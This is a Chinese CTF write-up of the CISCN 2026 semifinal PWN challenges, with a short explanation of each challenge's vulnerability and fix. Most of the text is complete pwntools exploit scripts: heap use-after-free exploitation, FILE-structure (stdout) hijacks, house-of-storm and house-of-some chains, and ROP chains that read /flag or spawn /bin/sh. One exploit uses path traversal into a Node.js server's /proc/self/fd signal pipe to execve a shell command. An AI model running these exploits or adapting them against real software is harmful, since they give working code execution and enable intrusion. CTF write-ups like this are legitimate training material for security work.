CISCN 2026 半决赛 PWN 全题解

broken_manager

漏洞很明显，uaf

fix

fix 有点抽象，把原本的清空 size 改成清空 chunk 即可

break

程序是自己实现的内存管理器

  struct Arena {  // sizeof = 0x40 (64 bytes), 位于 BSS 0x5060
      uint64_t magic;          // +0x00: 0xCCEE7700DDBBCCAA
      uint64_t base_mask;      // +0x08: mmap_base & 0xFFFFFFFF00000000
                               //        保存mmap地址的高32位,低32位为0
      uint32_t xor_key;        // +0x10: 从/dev/random读取的4字节随机密钥
      uint32_t remaining;      // +0x14: 当前bump区域剩余字节数
      uint32_t total;          // +0x18: arena总大小 (0x4000)
      uint32_t _pad;           // +0x1C: 对齐填充
      Arena*   next;           // +0x20: 下一个arena (双向链表)
      Arena*   prev;           // +0x28: 上一个arena
      void*    mmap_base;      // +0x30: 本arena的mmap映射基地址
      uint32_t* freelist;      // +0x38: 指向freelist数组(32个DWORD)
  };

free_list 存储指针是main_arena.base_mask ^ (ptr ^ main_arena.xor_key)

即 free_list 只存储指针低位，还是异或过的

同时，程序使用 sigaction 注册了 SIGSEGV 崩溃时输出地址并重启

所以攻击思路是，uaf 直接泄露 enc1(high_mask ^ (ptr ^ xor1_key))，写错误地址V崩溃泄露 enc2(high_mask ^ (V ^ xor1_key))

可求得high_mask xor1_key，再通过 enc1 求得ptr，这样就得到完整的 heap 地址了

此时程序重启，重新生成 xor_key，记为xor2_key

uaf 泄露 enc3(high_mask ^ (ptr ^ xor2_key))，求得xor2_key

后面就是 uaf 打 stdout（逃课 check，直接 puts 触发）

#!/usr/bin/env python3
from pwncli import *

context.terminal = ['cmd.exe', '/c', 'start', 'wt.exe', '-w', '0', 'sp', '-s', '0.6', '-d', '.', 'wsl.exe', 'bash', '-c']
local_flag = sys.argv[1] if len(sys.argv) == 2 else 0

gift.elf = ELF(elf_path := './pwn')
if local_flag == "remote":
    addr = ''
    ip, port = re.split(r'[\s:]+', addr)
    gift.io = remote(ip, port)
else:
    gift.io = process(elf_path)
gift.remote = local_flag in ("remote", "nodbg")
init_x64_context(gift.io, gift)
libc = load_libc()

IAT = b'>> '


def add(idx, size, data):
    sla(IAT, b'1')
    sla(b'Index', str(idx))
    sla(b'Size', str(size))
    if data == b'ik':
        return
    sa(b'Content: ', data)


def dele(idx):
    sla(IAT, b'2')
    sla(b'Index: ', str(idx))


def edit(idx, data):
    sla(IAT, b'4')
    sla(b'Index', str(idx))
    sa(b'Content: ', data)


def show(idx):
    sla(IAT, b'3')
    sla(b'Index: ', str(idx))


cmd = '''
    brva 0x1B8D
    brva 0x1CBE
    brva 0x1D88
    brva 0x1E6A
    ida
    set $h = $rebase(0x5060)
    c
    # handle SIGSEGV nostop noprint pass
'''

add(0, 0x100, b'a')
add(1, 0x100, b'b')
dele(1)
dele(0)
show(0)
enc1 = u64_ex(r(4))
leak_ex2(enc1)
dele(0)

add(2, 0x100, b'c')
add(3, 0x100, b'd')
dele(2)
edit(3, p64(0xDEADBEEF))
add(4, 0x100, b'e')
add(5, 0x100, b'ik')

ru(b'Invalid ptr access: ')
enc2 = int(rl(), 16)
leak_ex2(enc2)
high_mask = enc2 >> 32 << 32
leak_ex2(high_mask)
low_key = (enc2 ^ 0xDEADBEEF) & 0xFFFFFFFF
leak_ex2(low_key)
heap_base = ((enc1 ^ low_key) | high_mask) >> 8 << 8
leak_ex2(heap_base)

add(0, 0x100, b'a')
add(1, 0x100, b'b')
dele(1)
dele(0)
show(0)
enc3 = u64_ex(r(4))
leak_ex2(enc3)
low_key = ((heap_base + 0x40C4) ^ enc3) & 0xFFFFFFFF
set_current_libc_base_and_log(libc_base := heap_base + 0x1EF00)
leak_ex2(low_key)
dele(0)

add(2, 0x100, b'c')
add(3, 0x100, b'd')
dele(2)
edit(3, p64((libc.sym._IO_2_1_stdout_ & 0xFFFFFFFF) ^ low_key))
add(4, 0x100, p64(0x666))

_IO_wfile_jumps_maybe_mmap = libc.sym._IO_wfile_jumps + 0x150
_IO_str_jumps = libc.sym._IO_file_jumps + 0x540
_IO_default_xsputn = _IO_str_jumps + 0x38
_IO_default_xsgetn = _IO_str_jumps + 0x40

fake_IO_FILE = libc.sym._IO_2_1_stdout_
payload = flat(
    {
        0x0: 0x8000,  # disable lock
        0x38: libc.symbols["_IO_2_1_stdout_"],  # _IO_buf_base
        0x40: libc.symbols["_IO_2_1_stdout_"] + 0x1C8,  # _IO_buf_end
        0x70: 0,  # _fileno
        0xA0: libc.symbols["_IO_2_1_stdout_"] + 0x100,  # +0xe0可写即可
        0xC0: p32(0xFFFFFFFF),  # _mode < 0
        0xD8: _IO_wfile_jumps_maybe_mmap - 0x18,
    },
    filler=b"\x00",
)
launch_gdb(cmd)
add(5, 0x100, payload)

# 拷贝栈上数据到可控地址，这里拷贝到_IO_2_1_stdout_的上方，方便下次写入顺便完成fp第三次控制
s(
    flat(
        {
            0x8: libc.symbols["_IO_2_1_stdout_"],  # 需要可写地址
            0x38: libc.symbols["_IO_2_1_stdout_"] - 0x1C8 + 0xC8,  # _IO_buf_base
            0x40: libc.symbols["_IO_2_1_stdout_"] + 0x1C8,  # _IO_buf_end
            0xA0: libc.symbols["_IO_2_1_stdout_"] + 0xE0,
            0xC0: p32(0xFFFFFFFF),
            0xD8: _IO_default_xsputn - 0x90,  # vtable
            0x28: libc.symbols["_IO_2_1_stdout_"] - 0x1C8,  # _IO_write_ptr
            0x30: libc.symbols["_IO_2_1_stdout_"],  # _IO_write_end
            0xE0: {0xE0: _IO_wfile_jumps_maybe_mmap},
        },
        filler=b"\x00",
    )
)

CG.set_find_area(False, True)
rdi = CG.pop_rdi_ret()
rsi = CG.pop_rsi_ret()
r13 = CG.find_gadget("415DC3", find_type="opcode")
mov_rdx_r13_pop4 = CG.find_gadget("4C89EA5B415C415D5DC3", find_type="opcode")
rop_payload = flat([rdi, u64_ex(b'/flag'), rdi, libc.sym._IO_list_all + 0x8, rsi, 0, libc.sym.open])
rop_payload += flat([rdi, 5, rsi, libc.sym.environ, r13, 0x100, mov_rdx_r13_pop4, 0, 0, 0, 0, libc.sym.read])
rop_payload += flat([rdi, 1, rsi, libc.sym.environ, r13, 0x100, libc.sym.write])

# 最后这里就可以劫持执行流到0xdeadbeaf了 ret_addr = _IO_list_all
s(
    flat(
        {
            0: rop_payload,
            (0x1C8 - 0xC8): {
                0x38: libc.symbols["_IO_2_1_stdout_"] - 0x1C8 + 0xC8,  # _IO_buf_base
                0x40: libc.symbols["_IO_2_1_stdout_"] + 0x1C8,  # _IO_buf_end
                0xA0: libc.symbols["_IO_2_1_stdout_"] + 0xE0,
                0xC0: p32(0xFFFFFFFF),
                0xD8: _IO_default_xsgetn - 0x90,  # vtable
                0x08: libc.symbols["_IO_2_1_stdout_"] - 0x1C8,  # _IO_read_ptr
                0x10: libc.symbols["_IO_2_1_stdout_"] + (0x1C8 - 0xC8),  # _IO_read_end
                0xE0: {0xE0: _IO_wfile_jumps_maybe_mmap},
            },
        },
        filler=b"\x00",
    )
)

ia()

catchme

漏洞同意明显，uaf

fix

break

house of storm 打 free_hook ogg

#!/usr/bin/env python3
from pwncli import *

context.terminal = ['cmd.exe', '/c', 'start', 'wt.exe', '-w', '0', 'sp', '-s', '0.6', '-d', '.', 'wsl.exe', 'bash', '-c']
local_flag = sys.argv[1] if len(sys.argv) == 2 else 0

gift.elf = ELF(elf_path := './catchme')
if local_flag == "remote":
    addr = ''
    ip, port = re.split(r'[\s:]+', addr)
    gift.io = remote(ip, port)
else:
    while True:
        io = process(elf_path)
        with open(f'/proc/{io.pid}/maps') as f:
            elf_base = int(f.readline().split('-')[0], 16)
        print(f'elf_base: {hex(elf_base)}')
        if elf_base >> 40 == 0x56:
            gift.io = io
            break
        io.close()
gift.remote = local_flag in ("remote", "nodbg")
init_x64_context(gift.io, gift)
libc = load_libc()

IAT = b'>>\n'


def add(size):
    sla(IAT, b'1')
    sla(b'choose your creature type', str(size))


def dele(idx):
    sla(IAT, b'2')
    sla(b'index', str(idx))


def edit(idx, data):
    sla(IAT, b'4')
    sla(b'index', str(idx))
    sa(b'set tag:\n', data)


def show(idx):
    sla(IAT, b'3')
    sla(b'index', str(idx))


def clear(idx):
    sla(IAT, b'6')
    sla(b'index', str(idx))


cmd = '''
    brva 0xC4A
    brva 0xC86
    brva 0xCC4
    brva 0xE20
    brva 0xF1C
    brva 0x104A
    brva 0x10EE
    set $h = $rebase(0x202060)
    # dir /mnt/f/Documents/CTF/glibc/glibc-2.27/malloc
    # brva 0x945F1 libc-2.27-3ubuntu1.6.so.6
    c
'''

for i in range(7):
    add(3)
    dele(0)
    clear(0)

add(2)
add(3)
add(1)
add(3)
dele(2)
show(2)
ru(b'tag:')
libc_base = u64_ex(ru(b'\n', drop=1)) - 0x3EBCA0
set_current_libc_base_and_log(libc_base)
dele(0)
# show(0)
# ru(b'tag:')
# heap_base = u64_ex(ru(b'\n', drop=1))
# log_heap_base_addr(heap_base)
clear(0)
add(2)
dele(0)

fake_addr = libc.sym.__free_hook - 0x18
edit(0, p64(fake_addr))
edit(2, p64(fake_addr + 0x8) + p64(0) + p64(fake_addr - 0x18 - 5))
clear(1)
launch_gdb(cmd)
add(3)
edit(1, p64(libc_base + 0x4F302) * 3)
dele(2)

ia()

easy_rw_revenge

漏洞也是 uaf

md5 是 strcmp，爆破前三位即可

size 是有符号比较，没有做 malloc 失败的处理逻辑

fix

应该是把比较改成无符号比较（比赛时未做出）

break

同样是打 io，house of some 泄露 environ打 rop

#!/usr/bin/env python3
from pwncli import *
from SomeofHouse import *
import hashlib

context.terminal = ['cmd.exe', '/c', 'start', 'wt.exe', '-w', '0', 'sp', '-s', '0.6', '-d', '.', 'wsl.exe', 'bash', '-c']
local_flag = sys.argv[1] if len(sys.argv) == 2 else 0

gift.elf = ELF(elf_path := './pwn')
if local_flag == "remote":
    addr = ''
    ip, port = re.split(r'[\s:]+', addr)
    gift.io = remote(ip, port)
else:
    gift.io = process(elf_path, level='info')
gift.remote = local_flag in ("remote", "nodbg")
init_x64_context(gift.io, gift)
libc = load_libc()

USERNAME_CACHE = "15772770"


def find_username():
    global USERNAME_CACHE
    if USERNAME_CACHE:
        return USERNAME_CACHE
    target = b'\x64\x40\x00'
    log.info("Brute-forcing username (need MD5 prefix 644000) ...")
    for i in range(0x10000000):
        name = str(i).encode()
        if hashlib.md5(name).digest()[:3] == target:
            USERNAME_CACHE = name.decode()
            log.success(f"Found username: '{USERNAME_CACHE}' (MD5: {hashlib.md5(name).hexdigest()})")
            return USERNAME_CACHE
    log.error("Username not found!")
    sys.exit(1)


USERNAME = find_username()


def send_req(cmd, param1="", param2="", data=b""):
    """Each request needs a fresh TCP connection to the RTSP server."""
    io = remote("127.0.0.1", 7777, level='debug')
    payload = f"rtsp://{USERNAME}/".encode()
    payload += b"{" + cmd.encode() + b":" + param1.encode() + b":" + param2.encode() + b":" + data + b"}"
    io.send(payload)
    try:
        resp = io.recv(0x2000, timeout=300)
    except:
        resp = b""
    io.close()
    return resp


def add(idx, size, data=b"A"):
    resp = send_req("add", str(size), str(idx), data)
    if b"ADD_SUCCESS" in resp:
        return True
    log.warning(f"add({idx}, {size}): {resp}")
    return False


def dele(idx):
    resp = send_req("delete", str(idx))
    if b"DEL_SUCCESS" in resp:
        return True
    log.warning(f"dele({idx}): {resp}")
    return False


def edit(idx, data):
    resp = send_req("edit", str(idx), "", data)
    if b"EDIT_SUCCESS" in resp:
        return True
    log.warning(f"edit({idx}): {resp}")
    return False


def show(idx):
    return send_req("show", str(idx))


cmd = '''
    brva 0x1922
    brva 0x1BC6
    brva 0x1D28
    brva 0x1A98
    brva 0x1915
    set $h = $rebase(0x5040)
    dir /mnt/f/Documents/CTF/glibc/glibc-2.35
    b genops.c:701
    c
    dis 6
    brva 0x2a3e5 ./libc-2.35-0ubuntu3.13.so.6
    b read
    c
'''

for i in range(8):
    add(0, 0x18, b'')

data = show(0)
libc_base = u64_ex(data[0:8]) - 0x21AC00
set_current_libc_base_and_log(libc_base)
heap_base = u64_ex(data[8:16]) - 0x7D0
log_heap_base_addr(heap_base)

add(0, 0x5E8, b'a')
add(1, 0x5F8, b'a')
add(2, 0x5D8, b'a')
add(3, 0x5F8, b'a')

add(0, -1, b'a')
add(4, 0x5F8, b'a')
add(2, -1, b'a')

edit(0, p64(libc.sym._IO_list_all - 0x20) * 4)
add(5, 0x5F8, b'a')

fake_IO_FILE = heap_base + 0x1FA0
hos = HouseOfSome(libc=libc, controlled_addr=fake_IO_FILE)
payload = hos.hoi_read_file_template(fake_IO_FILE + 0x100, 0x400, fake_IO_FILE + 0x100, 4)
edit(2, payload[0x10:])
launch_gdb(cmd)
io = remote("127.0.0.1", 7777, level='debug')
payload0 = f"rtsp://{USERNAME}/".encode()
payload0 += b"{" + 'delete'.encode() + b":" + str(0x114).encode() + b":" + ''.encode() + b":" + data + b"}"
io.send(payload0)
pause()
payload2 = hos.fake_file_write_template(libc.sym._environ, libc.sym._environ + 0x10, fake_IO_FILE + 0x200, 4).ljust(0x100)
payload2 += hos.hoi_read_file_template(fake_IO_FILE + 0x300, 0x400, fake_IO_FILE + 0x300, 4)
io.send(payload2)
stack = u64_ex(io.recvuntil(b'\x7f', timeout=999)[-6:]) - 0x22F0
leak_ex2(stack)
payload3 = hos.hoi_read_file_template(stack, 0x400, 0, 4)
io.send(payload3)
rop = ROP(libc)
rop.base = stack
rop.call('open', [stack + 0x110, 0])
rop.call('read', [5, stack - 0x400, 0x100])
rop.call('write', [4, stack - 0x400, 0x100])
log_ex(rop.dump())
pause()
io.send(b'/flag'.ljust(0x10, b'\x00') + rop.chain().ljust(0x100, b'\x00') + b'/flag\x00')
io.interactive()

ia()

minidb

漏洞在set()，没有检查引用计数就直接 free

fix

比赛没出，不知道 checker 咋写的

break

poc

set('A', 'd0')
multi()
set('A', '1' * 0x100)
clone('A', 'B')
set('A', 'd2')
exec_()
set('C', '3' * 0x100)
launch_gdb(cmd)
get('B')

exp 写的有点神志不清，凑合看一下

#!/usr/bin/env python3
from pwncli import *
from SomeofHouse import *

context.terminal = ['cmd.exe', '/c', 'start', 'wt.exe', '-w', '0', 'sp', '-s', '0.6', '-d', '.', 'wsl.exe', 'bash', '-c']
local_flag = sys.argv[1] if len(sys.argv) == 2 else 0

gift.elf = ELF(elf_path := './pwn')
if local_flag == "remote":
    addr = ''
    ip, port = re.split(r'[\s:]+', addr)
    gift.io = remote(ip, port)
else:
    gift.io = process(elf_path)
gift.remote = local_flag in ("remote", "nodbg")
init_x64_context(gift.io, gift)
libc = load_libc()


def hash(s):
    if isinstance(s, str):
        s = s.encode()
    i = 5
    for j in range(len(s)):
        i = 0x21 * i + int(s[j])
    i = i & 0x3F
    log_ex(f'str: {s}\nhash: {i:#x}')


def set(val, data):
    if isinstance(val, str):
        val = val.encode()
    if isinstance(data, str):
        data = data.encode()
    sla(b'> ', b'SET ' + val)
    hash(data)
    sa(b'Value> ', data)


def get(val):
    if isinstance(val, str):
        val = val.encode()
    sla(b'> ', b'GET ' + val)


def clone(val1, val2):
    if isinstance(val1, str):
        val1 = val1.encode()
    if isinstance(val2, str):
        val2 = val2.encode()
    sla(b'> ', b'CLONE ' + val1 + b' ' + val2)


def multi():
    sla(b'> ', b'MULTI')


def exec_():
    sla(b'> ', b'EXEC')


def abort_():
    sla(b'> ', b'ABORT')


def fake_tcache(size_info):
    TCACHE_MAX_BINS = 64
    counts = bytearray(TCACHE_MAX_BINS * 2)
    entries = bytearray(TCACHE_MAX_BINS * 8)

    for size, (count, address) in size_info.items():
        bin_index = (size >> 4) - 2
        if 0 <= bin_index < TCACHE_MAX_BINS:
            counts[bin_index * 2] = min(count, 255)
            addr_bytes = struct.pack('<Q', address)
            entries[bin_index * 8 : bin_index * 8 + 8] = addr_bytes

    tcache_struct = counts + entries
    return tcache_struct


cmd = '''
    brva 0x1355
    brva 0x16F4
    brva 0x17C7
    # set
    brva 0x1948
    
    # brva 0x1CF3
    brva 0x1891
    # clone
    
    brva 0x1A70
    # exec free
    set $h = {void *}$rebase(0x4050)
    set $i = *(void **)((char *)$h + 0x200)
    ida
    dir /mnt/f/Documents/CTF/glibc/glibc-2.35
    c
'''

set('A', 'a' * 0x10)
multi()
set('A', 'a' * 0x500)
clone('A', 'B')
set('A', 'a' * 0x10)
exec_()
set('C', 'c' * 0x510)
get('B')
ru(b'VAL: ')
heap_base = u64_ex(ru(b'\n', drop=1)) - 0x560
log_heap_base_addr(heap_base)
set('D', 'd' * 0x300)

set('E', 'e' * 0x10)
multi()
set('E', 'e' * 0x500)
clone('E', 'F')
set('E', 'e' * 0x10)
exec_()
set('C', 'c' * 0x10)
get('F')


set('G', 'g' * 0xB0)
set('H', p64(2).ljust(0x4D0, b'a'))
set(p64_ex(-56), 'i' * 0x200)
set('F', 'f' * 0x10)
set('D', b'J' * 0x10 + p64(0) + p64(heap_base + 0x10))
get('\x01')
set('\x01', 'k' * 0x10)
set('D', fake_tcache({0x40: (0, 0), 0x110: (1, heap_base + 0x10), 0x100: (1, heap_base + 0xA80)})[0x10:].ljust(0x270, b'\x00'))
# p64(u64_ex(b'B')) + p64(0) * 4 + p64(heap_base + 0x0)
set(
    'A',
    (
        flat(
            {
                0x0: b'B',
                0x28: heap_base + 0xB30,
                0x68: 0x41,
                0x70: b'H',
                0x98: heap_base + 0xB40,
                0xA8: 0x4F1,
                0xB0: 1,
                0xB8: 0x4D0,
            },
            filler=b'\x00',
        )
    ).ljust(0xE0, b'\x00'),
)
set('H', 'h' * 0x10)
get('B')
ru(b'VAL: ')
libc_base = u64_ex(ru(b'\n', drop=1)) - 0x21ACE0
set_current_libc_base_and_log(libc_base)
set('E', fake_tcache({0xF0: (1, heap_base + 0xA80), 0x110: (1, heap_base + 0x10)})[0x10:0x100].ljust(0xF0, b'\x00'))
set(
    'C',
    flat(
        {
            0x0: b'B',
            0x28: libc.sym.environ - 0x10,
            0x98: 0x51,
        },
        filler=b'\x00',
        length=0xD0,
    ),
)
get('B')
ru(b'VAL: ')
stack = u64_ex(ru(b'\n', drop=1)) - 0x8 - 0x1338 - 0x50
leak_ex2(stack)
set('D', fake_tcache({0x110: (1, libc.sym._IO_2_1_stdout_ - 0x10)})[0x10:0x100].ljust(0xF0, b'\x00'))
rop = ROP(libc)
rop.raw(rop.ret)
rop.call('system', [next(libc.search(b'/bin/sh\x00'))])
fake_IO_FILE = libc.sym._IO_2_1_stdout_
hos = HouseOfSome(libc=libc, controlled_addr=fake_IO_FILE)
launch_gdb(cmd)
_IO_wfile_jumps_maybe_mmap = libc_base + 0x216F40
_IO_str_jumps = libc.sym._IO_file_jumps + 0x540
_IO_default_xsputn = _IO_str_jumps + 0x38
_IO_default_xsgetn = _IO_str_jumps + 0x40

fake_IO_FILE = libc.sym._IO_2_1_stdout_
payload = flat(
    {
        0x0: 0x8000,  # disable lock
        0x38: stack,  # _IO_buf_base
        0x40: stack + 0x1C8,  # _IO_buf_end
        0x70: 0,  # _fileno
        0xA0: libc.symbols["_IO_2_1_stdout_"] + 0x100,  # +0xe0可写即可
        0xC0: p32(0xFFFFFFFF),  # _mode < 0
        0xD8: _IO_wfile_jumps_maybe_mmap - 0x18,
    },
    filler=b"\x00",
)
set('G', payload.ljust(0xF0, b'\x00'))
log_ex(rop.dump())
pause()
s(rop.chain())

ia()

UpNodeTrap

https://i0.rs/blog/engineering-a-rop-chain-against-node-js/

https://www.sonarsource.com/blog/why-code-security-matters-even-in-hardened-environments/

https://2024.hexacon.fr/slides/Schiller-ExploitingFileWrites.pdf

https://hackerone.com/reports/2260337

https://github.com/libuv/libuv/issues/4581

原题出题，这出题这么水的吗……

抄个国际赛就是自己的美美恰米……

fix

check 以下..就过了，checker 很神奇吧……

       if (filename.includes('..')) {
         return sendJSON(res, 500, { error: 'Unable to persist file to storage.' });
       }

break

路径越界读，打uv__signal_event

ai 注释

exp 是参考的博客里的

#!/usr/bin/env python3
from pwncli import *
import requests
import json

context.terminal = ['cmd.exe', '/c', 'start', 'wt.exe', '-w', '0', 'sp', '-s', '0.6', '-d', '.', 'wsl.exe', 'bash', '-c']
local_flag = sys.argv[1] if len(sys.argv) == 2 else 0

gift.elf = ELF(elf_path := './pwn')
if local_flag == "remote":
    addr = ''
    ip, port = re.split(r'[\s:]+', addr)
    gift.io = remote(ip, port)
    TARGET = f'http://{ip}:9999'
else:
    gift.io = process([elf_path, './app.js'])
    TARGET = 'http://localhost:9999'
gift.remote = local_flag in ("remote", "nodbg")
init_x64_context(gift.io, gift)
libc = load_libc()

cmd = '''
    dir ./node-v25.8.0
    c
'''
launch_gdb(cmd)


'''
Pivot: fake handle at 0x2777d78 in .text
  handle+0x58 flags    = 0x00 (bit0=0, passes check)
  handle+0x60 signal_cb -> 0xe883c7 = pop rbx; pop r14; pop r15; pop rbp; ret
  handle+0x68 signum   = 0x415b0000

Stack at call [handle+0x60]:
  RSP = &buf[0], call pushes ret_addr -> RSP = &buf[-8]
  Gadget pops: ret_addr->rbx, buf[0]->r14, buf[8]->r15, buf[16]->rbp
  Then ret -> buf[24] = first ROP gadget
'''
PIVOT_HANDLE = 0x2777D78
SIGNUM = 0x415B0000

POP_RAX = 0x7B4F27  # pop rax; ret
POP_RDI = 0x23D1441  # pop rdi; ret
POP_RSI = 0x1164803  # pop rsi; ret
POP_RDX = 0x1271F47  # pop rdx; ret
MOV_GADGET = 0x1350624  # mov [rdi], rsi; pop rbp; ret
SYSCALL = 0x1022638  # syscall
RET = 0x780236  # ret

# Writable section (first RW LOAD: 0x3FF000-0x75B8F0)
RW_SECTION = 0x501010


def upload(filename, content):
    if isinstance(content, bytes):
        content = content.decode('latin-1')
    data = json.dumps({"filename": filename, "content": content})
    r = requests.post(f'{TARGET}/upload', data=data, headers={'Content-Type': 'application/json'})
    log.info(f"upload '{filename}' => {r.status_code}: {r.text[:100]}")
    return r


def write_pipe(fd, payload):
    traversal = f'../../../../../../../../../../../../../../../../../../../proc/self/fd/{fd}'
    return upload(traversal, payload)


def gadget_write_at(addr, qword):
    """Write qword to addr using mov [rdi], rsi; pop rbp; ret."""
    if isinstance(qword, bytes):
        qword = qword.ljust(8, b"\x00")
    yield POP_RDI
    yield addr
    yield POP_RSI
    yield qword
    yield MOV_GADGET
    yield RW_SECTION  # junk for pop rbp


def gadget_create_string(addr, s):
    s = s.encode() + b"\x00"
    for i in range(0, len(s), 8):
        yield from gadget_write_at(addr + i, s[i : i + 8])


PIPE_WR_FD = 18  # signal_pipefd[1] write-end (confirmed via test_pipe.py)

argv = [RW_SECTION + 0x100, RW_SECTION + 0x200, RW_SECTION + 0x300]
argv_arr = RW_SECTION

COMMAND = "touch ./success"

payload = flat(
    [
        # --- uv__signal_msg_t (16B, consumed by pivot gadget pops) ---
        PIVOT_HANDLE,  # msg.handle -> pop r14
        p32(SIGNUM) + p32(0),  # msg.signum + pad -> pop r15
        RW_SECTION,  # junk -> pop rbp
        # --- ROP chain (starts at buf[0x18], ret lands here) ---
        # Write execve args to RW section
        *gadget_create_string(argv[0], "/bin/sh"),
        *gadget_create_string(argv[1], "-c"),
        *gadget_create_string(argv[2], COMMAND),
        # Build argv[] = {"/bin/sh", "-c", cmd, NULL}
        *gadget_write_at(argv_arr + 0x00, argv[0]),
        *gadget_write_at(argv_arr + 0x08, argv[1]),
        *gadget_write_at(argv_arr + 0x10, argv[2]),
        *gadget_write_at(argv_arr + 0x18, 0),
        # execve("/bin/sh", argv, NULL)
        POP_RAX,
        constants.SYS_execve,
        POP_RDI,
        argv[0],
        POP_RSI,
        argv_arr,
        POP_RDX,
        0,
        SYSCALL,
    ]
)

log.info(f"Payload: {len(payload)}/512 bytes ({len(payload)*100//512}%)")
assert len(payload) <= 512, f"Payload too large: {len(payload)}"
assert all(b <= 0x7F for b in payload), "Payload has non-UTF8 bytes"
log.success(f"Payload OK ({len(payload)}B)")

ru(b'Server running on http://localhost:9999')

try:
    write_pipe(PIPE_WR_FD, payload)
except Exception:
    log.success("Server execve'd — connection dropped as expected")

sleep(0.5)
ia()

#!/usr/bin/env python3
"""
Enumerate Node.js pipe fds and find the signal pipe write-end.
Writes 16 bytes to each pipe fd — the signal pipe will crash the server.
"""
import subprocess
import time
import requests
import json
import os

TARGET = "http://localhost:9999"
BINARY = "./pwn"
APP = "./app.js"
CWD = "/mnt/f/OneDrive/Pwn/ciscn2026SF/UpNodeTrap"


def upload(fd, content="X"):
    path = f"../../../../../../../proc/self/fd/{fd}"
    data = json.dumps({"filename": path, "content": content})
    return requests.post(f"{TARGET}/upload", data=data,
                         headers={"Content-Type": "application/json"}, timeout=5)


def main():
    print("[*] Starting server...")
    proc = subprocess.Popen(
        [BINARY, APP], cwd=CWD,
        stdout=subprocess.PIPE, stderr=subprocess.PIPE
    )
    time.sleep(2)
    pid = proc.pid
    print(f"[*] PID: {pid}")

    # List fds
    fd_dir = f"/proc/{pid}/fd"
    print(f"\n[*] File descriptors:")
    pipe_fds = []
    for name in sorted(os.listdir(fd_dir), key=lambda x: int(x)):
        try:
            link = os.readlink(f"{fd_dir}/{name}")
            print(f"  fd {name:>3s} -> {link}")
            if "pipe:" in link:
                pipe_fds.append(int(name))
        except:
            pass

    # Health check
    try:
        r = requests.get(f"{TARGET}/health", timeout=3)
        print(f"\n[*] Health: {r.status_code}")
    except:
        print("[!] Server not responding")
        proc.kill()
        return

    # Test each pipe fd
    print(f"\n[*] Testing pipe write-ends: {pipe_fds}")
    print("    Writing 16 bytes 'A' to each — signal pipe will crash server\n")

    for fd in pipe_fds:
        try:
            r = upload(fd, "A" * 16)
            print(f"  fd {fd:2d}: {r.status_code} (server survived)")
        except requests.exceptions.ConnectionError:
            print(f"  fd {fd:2d}: CONNECTION LOST — server crashed!")
            time.sleep(0.5)
            try:
                requests.get(f"{TARGET}/health", timeout=2)
                print(f"         (but server recovered?)")
            except:
                print(f"         >>> fd {fd} is the signal pipe write-end! <<<")
                break

    proc.terminate()
    try:
        proc.wait(timeout=3)
    except:
        proc.kill()
    print("\n[+] Done.")


if __name__ == "__main__":
    main()

ISW 见 403 攻防人 公众号

灌注 403 攻防人喵，灌注 403 攻防人谢谢喵